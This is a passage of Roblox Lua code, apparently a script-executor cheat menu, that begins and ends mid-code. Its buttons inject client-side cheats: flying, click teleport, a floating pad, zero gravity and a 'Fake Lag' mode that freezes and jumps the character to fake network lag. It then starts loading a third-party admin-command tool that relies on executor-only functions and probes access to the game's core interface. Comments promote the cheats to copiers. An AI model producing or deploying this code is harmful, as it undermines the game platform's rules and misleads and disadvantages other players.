angles = (CFrame.new(ghitz.Position, genz) - ghitz.Position) * CFrame.Angles(-math.pi/2,0,0)
end
shadow.CFrame = CFrame.new(genz) * angles
shadow.Transparency = 0.5 + (((shipp.Position - genz).magnitude /26)*0.5)
shadow.Mesh.Scale = (Vector3.new(4.4,0.25,4.4) * 5) * (1-(shipp.Position - genz).magnitude /26)
------- Trails -----------------------
if AllowTrails == true then
count = (count+1)%1
hue = (hue+1) % 360
local rgb = HSV(hue,0.65,0.85)
for _,v in pairs(TrailParts) do
local to = (v[1].CFrame * v[5]).p
if Speed > MinSpeed + 0.2 then
v[2] = (v[2]%#v[3]) + 1
v[3][v[2]].CFrame = CFrame.new((v[4] + to)/2,to) * CFrame.Angles(math.pi/2,math.rad(Roll) + math.rad(swing/2),0)
v[3][v[2]].Mesh.Scale = Vector3.new(v[6],(v[4] - to).magnitude*2,v[6])
v[3][v[2]].Mesh.VertexColor = Vector3.new(rgb.r,rgb.g,rgb.b)
v[3][v[2]].Transparency = 0.15
v[3][v[2]].Parent = game.Players.LocalPlayer.Character
else
v[2] = (v[2]%#v[3]) + 1
v[3][v[2]].Parent = nil
end
v[4] = to
end
end
end
--end)
-- 138098590 -- plane destroyed sound
-- 133082569 -- propeller 2
-- 135645246 -- propeller 1
--[[ Possible Game names
Aeroscape
Airbound
Aerialtude
]]
end
script.Parent.MouseButton1Down:connect(click)
end
coroutine.wrap(JLHA_fake_script)()
local function SSWSNG_fake_script() -- fly.LocalScript
local script = Instance.new('LocalScript', fly)
speeds = 1
local speaker = game:GetService("Players").LocalPlayer
local chr = game.Players.LocalPlayer.Character
local hum = chr and chr:FindFirstChildWhichIsA("Humanoid")
nowe = false
script.parent.MouseButton1Down:connect(function()
if nowe == true then
nowe = false
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Climbing,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.FallingDown,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Flying,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Freefall,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.GettingUp,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Landed,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Physics,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.PlatformStanding,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Ragdoll,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Running,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.RunningNoPhysics,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.StrafingNoPhysics,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Swimming,true)
speaker.Character.Humanoid:ChangeState(Enum.HumanoidStateType.RunningNoPhysics)
else
nowe = true
for i = 1, speeds do
spawn(function()
local hb = game:GetService("RunService").Heartbeat
tpwalking = true
local chr = game.Players.LocalPlayer.Character
local hum = chr and chr:FindFirstChildWhichIsA("Humanoid")
while tpwalking and hb:Wait() and chr and hum and hum.Parent do
if hum.MoveDirection.Magnitude > 0 then
chr:TranslateBy(hum.MoveDirection)
end
end
end)
end
game.Players.LocalPlayer.Character.Animate.Disabled = true
local Char = game.Players.LocalPlayer.Character
local Hum = Char:FindFirstChildOfClass("Humanoid") or Char:FindFirstChildOfClass("AnimationController")
for i,v in next, Hum:GetPlayingAnimationTracks() do
v:AdjustSpeed(0)
end
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Climbing,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.FallingDown,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Flying,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Freefall,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.GettingUp,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Landed,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Physics,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.PlatformStanding,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Ragdoll,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Running,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.RunningNoPhysics,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.StrafingNoPhysics,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Swimming,false)
speaker.Character.Humanoid:ChangeState(Enum.HumanoidStateType.Swimming)
end
if game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid").RigType == Enum.HumanoidRigType.R6 then
local plr = game.Players.LocalPlayer
local torso = plr.Character.Torso
local flying = true
local deb = true
local ctrl = {f = 0, b = 0, l = 0, r = 0}
local lastctrl = {f = 0, b = 0, l = 0, r = 0}
local maxspeed = 50
local speed = 0
local bg = Instance.new("BodyGyro", torso)
bg.P = 9e4
bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
bg.cframe = torso.CFrame
local bv = Instance.new("BodyVelocity", torso)
bv.velocity = Vector3.new(0,0.1,0)
bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
if nowe == true then
plr.Character.Humanoid.PlatformStand = true
end
while nowe == true or game:GetService("Players").LocalPlayer.Character.Humanoid.Health == 0 do
game:GetService("RunService").RenderStepped:Wait()
if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
speed = speed+.5+(speed/maxspeed)
if speed > maxspeed then
speed = maxspeed
end
elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
speed = speed-1
if speed < 0 then
speed = 0
end
end
if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
else
bv.velocity = Vector3.new(0,0,0)
end
-- game.Players.LocalPlayer.Character.Animate.Disabled = true
bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
end
ctrl = {f = 0, b = 0, l = 0, r = 0}
lastctrl = {f = 0, b = 0, l = 0, r = 0}
speed = 0
bg:Destroy()
bv:Destroy()
plr.Character.Humanoid.PlatformStand = false
game.Players.LocalPlayer.Character.Animate.Disabled = false
tpwalking = false
else
local plr = game.Players.LocalPlayer
local UpperTorso = plr.Character.UpperTorso
local flying = true
local deb = true
local ctrl = {f = 0, b = 0, l = 0, r = 0}
local lastctrl = {f = 0, b = 0, l = 0, r = 0}
local maxspeed = 50
local speed = 0
local bg = Instance.new("BodyGyro", UpperTorso)
bg.P = 9e4
bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
bg.cframe = UpperTorso.CFrame
local bv = Instance.new("BodyVelocity", UpperTorso)
bv.velocity = Vector3.new(0,0.1,0)
bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
if nowe == true then
plr.Character.Humanoid.PlatformStand = true
end
while nowe == true or game:GetService("Players").LocalPlayer.Character.Humanoid.Health == 0 do
wait()
if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
speed = speed+.5+(speed/maxspeed)
if speed > maxspeed then
speed = maxspeed
end
elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
speed = speed-1
if speed < 0 then
speed = 0
end
end
if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
else
bv.velocity = Vector3.new(0,0,0)
end
bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
end
ctrl = {f = 0, b = 0, l = 0, r = 0}
lastctrl = {f = 0, b = 0, l = 0, r = 0}
speed = 0
bg:Destroy()
bv:Destroy()
plr.Character.Humanoid.PlatformStand = false
game.Players.LocalPlayer.Character.Animate.Disabled = false
tpwalking = false
end
end)
local tis
end
coroutine.wrap(SSWSNG_fake_script)()
local function GYRIVDI_fake_script() -- tp.LocalScript
local script = Instance.new('LocalScript', tp)
script.Parent.MouseButton1Click:Connect(function()
mouse = game.Players.LocalPlayer:GetMouse()
tool = Instance.new("Tool")
tool.RequiresHandle = false
tool.Name = "Click Teleport"
tool.Activated:connect(function()
local pos = mouse.Hit+Vector3.new(0,2.5,0)
pos = CFrame.new(pos.X,pos.Y,pos.Z)
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = pos
end)
tool.Parent = game.Players.LocalPlayer.Backpack
end)
end
coroutine.wrap(GYRIVDI_fake_script)()
local function BCBQLZ_fake_script() -- floatingpad.LocalScript
local script = Instance.new('LocalScript', floatingpad)
script.Parent.MouseButton1Click:Connect(function()
local name = game.Players.LocalPlayer.Name
local p = Instance.new("Part")
p.Parent = workspace
p.Locked = true
p.Color = Color3.new(0.666667, 0, 0)
p.Size = Vector3.new(8, 1.2, 8)
p.Anchored = true
local m = Instance.new("CylinderMesh")
m.Scale = Vector3.new(1, 0.5, 1)
m.Parent = p
while true do
p.CFrame = CFrame.new(game.Players:findFirstChild(name).Character.Torso.CFrame.x, game.Players:findFirstChild(name).Character.Torso.CFrame.y - 4, game.Players:findFirstChild(name).Character.Torso.CFrame.z)
wait()
end
end)
end
coroutine.wrap(BCBQLZ_fake_script)()
local function KXYQAXQ_fake_script() -- Frame.UIDrag
local script = Instance.new('LocalScript', Frame)
-- Made by Real_IceyDev (@lceyDex) --
-- Simple UI dragger (PC Only/Any device that has a mouse) --
local UIS = game:GetService('UserInputService')
local frame = script.Parent
local dragToggle = nil
local dragSpeed = 0.25
local dragStart = nil
local startPos = nil
local function updateInput(input)
local delta = input.Position - dragStart
local position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X,
startPos.Y.Scale, startPos.Y.Offset + delta.Y)
game:GetService('TweenService'):Create(frame, TweenInfo.new(dragSpeed), {Position = position}):Play()
end
frame.InputBegan:Connect(function(input)
if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then
dragToggle = true
dragStart = input.Position
startPos = frame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragToggle = false
end
end)
end
end)
UIS.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
if dragToggle then
updateInput(input)
end
end
end)
end
coroutine.wrap(KXYQAXQ_fake_script)()
local function GEVXYR_fake_script() -- ScreenGui.notfication
local script = Instance.new('LocalScript', ScreenGui)
wait(2)
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "now loaded lol";
Text = "By FishNoobAhh";
Icon = "";
Duration = 10;
Button1 = "yes sirrr";
})
end
coroutine.wrap(GEVXYR_fake_script)()
local function PYIQX_fake_script() -- ScreenGui.messageload
local script = Instance.new('LocalScript', ScreenGui)
if script.Parent.Enabled == true then
local m = Instance.new("Message", game.Workspace)
m.Text = "1x1x1x1 gui fe Loading..."
wait(2)
m:Destroy()
script:Destroy()
else
end
end
coroutine.wrap(PYIQX_fake_script)()
end)
end;
task.spawn(C_2b);
-- StarterGui.ScreenGui.Frame1.TextButton.LocalScript
local function C_2c()
local script = G2L["2c"];
local ogtext = script.Parent.Text
script.Parent.MouseButton1Click:Connect(function()
script.Parent.Text = "Executed"
wait(1)
script.Parent.Text = ogtext
end)
end;
task.spawn(C_2c);
-- StarterGui.ScreenGui.Frame1.TextButton.LocalScript
local function C_2f()
local script = G2L["2f"];
script.Parent.MouseButton1Click:Connect(function()
local Players = game:GetService("Players")
local TweenService = game:GetService("TweenService")
local Workspace = game:GetService("Workspace")
local player = Players.LocalPlayer
local function addUICorner(inst, radius)
local c = Instance.new("UICorner")
c.CornerRadius = UDim.new(0, radius or 8)
c.Parent = inst
end
local existing = player:WaitForChild("PlayerGui"):FindFirstChild("FakeLagGUI")
if existing then existing:Destroy() end
local screenGui = Instance.new("ScreenGui")
screenGui.Name = "FakeLagGUI"
screenGui.ResetOnSpawn = false
screenGui.Parent = player:WaitForChild("PlayerGui")
local loadBg = Instance.new("Frame", screenGui)
loadBg.Size = UDim2.new(0, 300, 0, 30)
loadBg.Position = UDim2.new(0.5, -150, 0.5, -15)
loadBg.BackgroundColor3 = Color3.fromRGB(20, 20, 20)
addUICorner(loadBg, 8)
local loadFill = Instance.new("Frame", loadBg)
loadFill.Size = UDim2.new(0, 0, 1, 0)
loadFill.BackgroundColor3 = Color3.fromRGB(0, 200, 0)
addUICorner(loadFill, 8)
local loadTxt = Instance.new("TextLabel", loadBg)
loadTxt.Size = UDim2.new(1,0,1,0)
loadTxt.BackgroundTransparency = 1
loadTxt.Text = "Loading Fake Lag..."
loadTxt.TextColor3 = Color3.new(1,1,1)
loadTxt.Font = Enum.Font.SourceSansBold
loadTxt.TextSize = 18
local badPingAnimId
local badPingAnimIdR6 = "rbxassetid://967278155"
local badPingAnimIdR15 = "rbxassetid://507777826"
local char = player.Character
if char then
local hum = char:FindFirstChildOfClass("Humanoid")
if hum then
if hum.RigType == Enum.HumanoidRigType.R6 then
badPingAnimId = badPingAnimIdR6
else
badPingAnimId = badPingAnimIdR15
end
end
end
TweenService:Create(loadFill, TweenInfo.new(2, Enum.EasingStyle.Linear), {Size = UDim2.new(1,0,1,0)}):Play()
task.wait(2)
loadBg:Destroy()
local main = Instance.new("Frame")
main.Name = "MainGUI"
main.Size = UDim2.new(0, 300, 0, 460)
main.Position = UDim2.new(0.5, -150, 0.5, -230)
main.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
main.Active = true
main.Draggable = true
main.Visible = true
main.Parent = screenGui
addUICorner(main, 12)
local closeBtn = Instance.new("TextButton", main)
closeBtn.Size = UDim2.new(0,24,0,24)
closeBtn.Position = UDim2.new(1,-30,0,6)
closeBtn.BackgroundColor3 = Color3.fromRGB(200,50,50)
closeBtn.Font = Enum.Font.SourceSansBold
closeBtn.TextSize = 20
closeBtn.TextColor3 = Color3.new(1,1,1)
closeBtn.Text = "X"
addUICorner(closeBtn,6)
closeBtn.MouseButton1Click:Connect(function()
screenGui:Destroy()
end)
local title = Instance.new("TextLabel", main)
title.Size = UDim2.new(1, -20, 0, 28)
title.Position = UDim2.new(0, 10, 0, 8)
title.BackgroundTransparency = 1
title.Font = Enum.Font.SourceSansBold
title.TextSize = 22
title.TextColor3 = Color3.new(1,1,1)
title.Text = "Fake Lag GUI"
local statusLbl = Instance.new("TextLabel", main)
statusLbl.Size = UDim2.new(1,-20,0,24)
statusLbl.Position = UDim2.new(0,10,0,40)
statusLbl.BackgroundTransparency = 1
statusLbl.Font = Enum.Font.SourceSans
statusLbl.TextSize = 18
statusLbl.TextColor3 = Color3.new(1,1,1)
statusLbl.Text = "Speed: 1"
local tipLbl = Instance.new("TextLabel", main)
tipLbl.Size = UDim2.new(1,-20,0,20)
tipLbl.Position = UDim2.new(0,10,0,60)
tipLbl.BackgroundTransparency = 1
tipLbl.Font = Enum.Font.SourceSansItalic
tipLbl.TextSize = 14
tipLbl.TextColor3 = Color3.fromRGB(150,255,150)
tipLbl.Text = "hello man"
local speedBox = Instance.new("TextBox", main)
speedBox.Size = UDim2.new(1,-80,0,30)
speedBox.Position = UDim2.new(0,10,0,85)
speedBox.PlaceholderText = "Enter speed"
speedBox.BackgroundColor3 = Color3.fromRGB(40,40,40)
speedBox.TextColor3 = Color3.new(1,1,1)
speedBox.Font = Enum.Font.SourceSans
speedBox.TextSize = 18
speedBox.Text = ""
addUICorner(speedBox,6)
local enterBtn = Instance.new("TextButton", main)
enterBtn.Size = UDim2.new(0,60,0,30)
enterBtn.Position = UDim2.new(1,-70,0,85)
enterBtn.Text = "Set"
enterBtn.Font = Enum.Font.SourceSansBold
enterBtn.TextSize = 18
enterBtn.BackgroundColor3 = Color3.fromRGB(70,70,70)
enterBtn.TextColor3 = Color3.new(1,1,1)
addUICorner(enterBtn,6)
local scroll = Instance.new("ScrollingFrame", main)
scroll.Size = UDim2.new(1,-20,0,220)
scroll.Position = UDim2.new(0,10,0,130)
scroll.CanvasSize = UDim2.new(0,0,0,400)
scroll.BackgroundColor3 = Color3.fromRGB(20,20,20)
scroll.ScrollBarThickness = 6
addUICorner(scroll,6)
local buttons = {}
local buttonNames = {"Bad Ping","Fake Lag","Crash"}
for i,name in ipairs(buttonNames) do
local btn = Instance.new("TextButton", scroll)
btn.Size = UDim2.new(1,-20,0,40)
btn.Position = UDim2.new(0,10,0,10 + (i-1)*50)
btn.Text = name..": OFF"
btn.Font = Enum.Font.SourceSansBold
btn.TextSize = 18
btn.TextColor3 = Color3.new(1,1,1)
btn.BackgroundColor3 = Color3.fromRGB(60,60,60)
addUICorner(btn,6)
buttons[name] = btn
end
local activeMode = nil
local savedSpeeds = {["Bad Ping"]=1, ["Fake Lag"]=1, ["Crash"]=1}
local lagOn = false
local lagLoop
local lagSpeed = 1
local crashOn = false
local crashAnimTrack
local defaultTip = "hello man"
local function playRunAnim(hum)
for _, track in ipairs(hum:GetPlayingAnimationTracks()) do
track:Stop()
track:Destroy()
end
local anim = Instance.new("Animation")
anim.AnimationId = badPingAnimId
local track
if hum.RigType == Enum.HumanoidRigType.R6 then
hum.PlatformStand = false
track = hum:LoadAnimation(anim)
else
local animator = hum:FindFirstChildOfClass("Animator")
if not animator then
animator = Instance.new("Animator")
animator.Parent = hum
end
track = animator:LoadAnimation(anim)
end
track:Play()
return track
end
local function updateButtonStates()
for name,btn in pairs(buttons) do
if (activeMode == name and lagOn) or (name=="Crash" and crashOn) then
btn.Text = name..": ON"
btn.BackgroundColor3 = Color3.fromRGB(100,200,100)
else
btn.Text = name..": OFF"
btn.BackgroundColor3 = Color3.fromRGB(60,60,60)
end
end
end
local function badPingLoop()
local wasMoving = false
while lagOn and activeMode == "Bad Ping" do
local char = player.Character
local hum = char and char:FindFirstChildOfClass("Humanoid")
local root = char and char:FindFirstChild("HumanoidRootPart")
if hum and root then
if hum.MoveDirection.Magnitude > 0 then
wasMoving = true
elseif wasMoving and hum.MoveDirection.Magnitude == 0 then
wasMoving = false
local oldWS, oldJP = hum.WalkSpeed, hum.JumpPower
hum.WalkSpeed, hum.JumpPower = 0,0
local runAnim = playRunAnim(hum)
task.wait(0.5)
root.CFrame = root.CFrame + (root.CFrame.LookVector * (savedSpeeds["Bad Ping"] or 1))
task.wait(1.5)
if runAnim then runAnim:Stop(); runAnim:Destroy() end
hum.WalkSpeed, hum.JumpPower = oldWS, oldJP
end
end
task.wait(0.2)
end
end
local function fakeLagLoop()
while lagOn and activeMode == "Fake Lag" do
local char = player.Character
if char and char:FindFirstChild("HumanoidRootPart") then
local root = char.HumanoidRootPart
local internalSpeed = (savedSpeeds["Fake Lag"] or 1) + 5
local freezeTime = math.clamp(0.8 / internalSpeed, 0.05, 0.8)
local unfreezeTime = math.clamp(0.2 / internalSpeed, 0.05, 0.5)
root.Anchored = true
task.wait(freezeTime)
root.Anchored = false
task.wait(unfreezeTime)
else
task.wait(0.2)
end
end
end
local function toggleCrash()
crashOn = not crashOn
local char = player.Character
local hum = char and char:FindFirstChildOfClass("Humanoid")
local root = char and char:FindFirstChild("HumanoidRootPart")
if crashOn and hum and root then
local animator = hum:FindFirstChildOfClass("Animator")
if animator and #animator:GetPlayingAnimationTracks() > 0 then
local currentTrack = animator:GetPlayingAnimationTracks()[1]
if currentTrack then
local anim = Instance.new("Animation")
anim.AnimationId = currentTrack.Animation.AnimationId
crashAnimTrack = animator:LoadAnimation(anim)
crashAnimTrack.Looped = true
crashAnimTrack:Play()
crashAnimTrack:AdjustSpeed(savedSpeeds["Crash"] or 1)
root.Anchored = true
end
end
else
if crashAnimTrack then crashAnimTrack:Stop(); crashAnimTrack:Destroy() end
if root then root.Anchored = false end
end
updateButtonStates()
end
local function toggleMode(mode)
if mode == "Crash" then
toggleCrash()
return
end
if activeMode == mode and lagOn then
if mode == "Bad Ping" then
local char = player.Character
local root = char and char:FindFirstChild("HumanoidRootPart")
if root then
repeat task.wait(0.1) until root.Velocity.Magnitude < 0.1
end
end
if lagLoop then task.cancel(lagLoop) end
local char = player.Character
if char and char:FindFirstChild("HumanoidRootPart") then
char.HumanoidRootPart.Anchored = false
end
lagOn = false
updateButtonStates()
tipLbl.Text = defaultTip
else
activeMode = mode
tipLbl.Text = mode
lagSpeed = savedSpeeds[mode] or 1
statusLbl.Text = "Speed: " .. lagSpeed
lagOn = true
updateButtonStates()
if mode == "Bad Ping" then
lagLoop = task.spawn(badPingLoop)
elseif mode == "Fake Lag" then
lagLoop = task.spawn(fakeLagLoop)
end
end
end
for name,btn in pairs(buttons) do
btn.MouseButton1Click:Connect(function()
toggleMode(name)
end)
end
enterBtn.MouseButton1Click:Connect(function()
if activeMode then
local num = tonumber(speedBox.Text)
if num and num > 0 then
savedSpeeds[activeMode] = num
lagSpeed = num
statusLbl.Text = "Speed: "..num
if activeMode == "Crash" and crashAnimTrack then
crashAnimTrack:AdjustSpeed(num)
end
else
statusLbl.Text = "Invalid number!"
end
end
end)
end)
end;
task.spawn(C_2f);
-- StarterGui.ScreenGui.Frame1.TextButton.LocalScript
local function C_30()
local script = G2L["30"];
local ogtext = script.Parent.Text
script.Parent.MouseButton1Click:Connect(function()
script.Parent.Text = "Executed"
wait(1)
script.Parent.Text = ogtext
end)
end;
task.spawn(C_30);
-- StarterGui.ScreenGui.Frame1.TextButton.LocalScript
local function C_32()
local script = G2L["32"];
local ogtext = script.Parent.Text
script.Parent.MouseButton1Click:Connect(function()
script.Parent.Parent.Parent.Parent.ScreenGui:Destroy()
end)
end;
task.spawn(C_32);
-- StarterGui.ScreenGui.Frame1.TextButton.LocalScript
local function C_34()
local script = G2L["34"];
local ogtext = script.Parent.Text
script.Parent.MouseButton1Click:Connect(function()
script.Parent.Text = "Executed"
wait(1)
script.Parent.Text = ogtext
end)
end;
task.spawn(C_34);
-- StarterGui.ScreenGui.Frame1.TextButton.LocalScript
local function C_35()
local script = G2L["35"];
script.Parent.MouseButton1Click:Connect(function()
-- skid? Your welcome!
-- skid? Your welcome!
-- skid? Your welcome!
-- skid? Your welcome!
-- skid? Your welcome!
-- skid? Your welcome!
-- skid? Your welcome!
-- skid? Your welcome!
-- skid? Your welcome!
-- skid? Your welcome!
--[[
_ __ _ _
| | / / (_) | |
| |_ _ __ ___ ___ / /_ _ _ __ ___ ___ _ _ _____ _____ ___ _ __ _ _ __ | |_ ___
| __| | '_ ` _ \ / _ \ / / _` | '__/ __/ _ \ | | / __\ \/ / __|/ __| '__| | '_ \| __/ __|
| |_ _| | | | | | __// / (_| | | | (_| __/ |_| \__ \> <\__ \ (__| | | | |_) | |_\__ \
\__(_)_| |_| |_|\___/_/ \__,_|_| \___\___|\__,_|___/_/\_\___/\___|_| |_| .__/ \__|___/
| |
|_|
]]
local gui = Instance.new("ScreenGui")
local main = Instance.new("Frame")
local label = Instance.new("TextLabel")
local UITextSizeConstraint = Instance.new("UITextSizeConstraint")
local button = Instance.new("TextButton")
local UITextSizeConstraint_2 = Instance.new("UITextSizeConstraint")
gui.Name = "gui"
gui.Parent = gethui()
gui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
main.Name = "main"
main.Parent = gui
main.BackgroundColor3 = Color3.fromRGB(72, 72, 72)
main.BorderColor3 = Color3.fromRGB(0, 0, 0)
main.BorderSizePixel = 0
main.Position = UDim2.new(0.196095973, 0, 0.556803584, 0)
main.Size = UDim2.new(0.178187668, 0, 0.13960205, 0)
main.Active = true
main.Draggable = true
label.Name = "label"
label.Parent = main
label.BackgroundColor3 = Color3.fromRGB(108, 108, 108)
label.BorderColor3 = Color3.fromRGB(0, 0, 0)
label.BorderSizePixel = 0
label.Size = UDim2.new(1, 0, 0.294736832, 0)
label.Font = Enum.Font.Gotham
label.Text = "Zero Gravity"
label.TextColor3 = Color3.fromRGB(255, 255, 255)
label.TextScaled = true
label.TextSize = 29.000
label.TextWrapped = true
UITextSizeConstraint.Parent = label
UITextSizeConstraint.MaxTextSize = 29
button.Name = "button"
button.Parent = main
button.BackgroundColor3 = Color3.fromRGB(108, 108, 108)
button.BorderColor3 = Color3.fromRGB(0, 0, 0)
button.BorderSizePixel = 0
button.Position = UDim2.new(0.0526315793, 0, 0.438756049, 0)
button.Size = UDim2.new(0.894736826, 0, 0.431578934, 0)
button.Font = Enum.Font.Gotham
button.Text = "Click"
button.TextColor3 = Color3.fromRGB(255, 255, 255)
button.TextSize = 24.000
button.TextScaled = true
button.TextWrapped = true
UITextSizeConstraint_2.Parent = button
UITextSizeConstraint_2.MaxTextSize = 31
-- Scripts:
local plr = game:GetService("Players").LocalPlayer
local normalGravity = workspace.Gravity
local function MUBRZ_fake_script() -- button.script
local script = Instance.new('LocalScript', button)
script.Parent.MouseButton1Click:Connect(function()
workspace.Gravity = 0
local humanoid = plr.Character:FindFirstChildWhichIsA("Humanoid")
humanoid.Sit = true
task.wait(0.1)
humanoid.RootPart.CFrame = humanoid.RootPart.CFrame * CFrame.Angles(math.pi * 0.5, 0, 0)
for _, v in ipairs(humanoid:GetPlayingAnimationTracks()) do
v:Stop()
end
end)
game:GetService("UserInputService").JumpRequest:Connect(function()
workspace.Gravity = normalGravity
end)
end
coroutine.wrap(MUBRZ_fake_script)()
end)
end;
task.spawn(C_35);
-- StarterGui.ScreenGui.Frame1.TextButton.LocalScript
local function C_37()
local script = G2L["37"];
local ogtext = script.Parent.Text
script.Parent.MouseButton1Click:Connect(function()
script.Parent.Text = "Executed"
wait(1)
script.Parent.Text = ogtext
end)
end;
task.spawn(C_37);
-- StarterGui.ScreenGui.Frame1.TextButton.LocalScript
local function C_38()
local script = G2L["38"];
script.Parent.MouseButton1Click:Connect(function()
-- Discord server for working games: https://discord.gg/quirkycmd
-- Made by Cynatica
-- QuirkyCMD on Top!
local cloneref = cloneref or function(a) return a end
local coreGui = cloneref(game:GetService("CoreGui"))
local players = cloneref(game:GetService("Players"))
local localPlayer = players.LocalPlayer
local function isElevatedStudioPlugin()
local s, r = pcall(function()
return coreGui:GetChildren()
end)
return s
end
local gethui = gethui or function()
local folder
if isElevatedStudioPlugin() then
if coreGui:WaitForChild("RobloxGui"):FindFirstChild(".__gethui") then
folder = coreGui:WaitForChild("RobloxGui"):FindFirstChild(".__gethui")
else
folder = Instance.new("Folder")
folder.Name = '.__gethui'
folder.Parent = coreGui:WaitForChild("RobloxGui")
end
else
folder = localPlayer:WaitForChild'PlayerGui'
end
return folder
end
-- Instances:
local quirkyCMD = Instance.new("ScreenGui")
local main = Instance.new("Frame")
local menu = Instance.new("ImageButton")
local cmdBox = Instance.new("TextBox")
local UITextSizeConstraint = Instance.new("UITextSizeConstraint")
local UICorner = Instance.new("UICorner")
local UICorner_2 = Instance.new("UICorner")
local remotepath = Instance.new("TextLabel")
local UICorner_3 = Instance.new("UICorner")
local mobileOpen = Instance.new("TextButton")
local UICorner_4 = Instance.new("UICorner")
local cmds = Instance.new("Frame")
local UICorner_5 = Instance.new("UICorner")
local closeButton = Instance.new("TextButton")
local UICorner_6 = Instance.new("UICorner")
local cmdList = Instance.new("ScrollingFrame")
local UIListLayout = Instance.new("UIListLayout")
local template = Instance.new("TextLabel")
local UIGradient = Instance.new("UIGradient")
local UICorner_7 = Instance.new("UICorner")
--Properties:
quirkyCMD.Name = "quirkyCMD"
quirkyCMD.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
quirkyCMD.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
